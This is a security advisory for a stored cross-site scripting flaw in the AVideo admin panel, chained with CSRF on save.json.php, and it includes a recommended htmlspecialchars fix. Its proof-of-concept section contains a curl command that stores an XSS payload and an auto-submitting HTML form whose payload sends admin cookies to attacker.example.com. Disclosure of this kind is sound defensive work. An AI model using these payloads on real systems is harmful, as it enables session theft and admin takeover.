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GHSA-v4h7-3x43-qqw4

MediumCVSS 6.1 / 10

Published Mar 31, 2026·Last modified Mar 31, 2026

Affected Components(0)

No affected components available

Description

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

Steal admin session cookies and CSRF tokens
Create new admin accounts
Modify site configuration (enable file uploads, disable security features)
Inject persistent JavaScript into public-facing pages via site-wide settings
Pivot to server-side code execution via plugin upload functionality
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Severity: High

Recommended Fix

Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:

// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";

// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";

// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

Found by aisafe.io

Risk Scores

Base Score

6.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence

5.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS

0.22%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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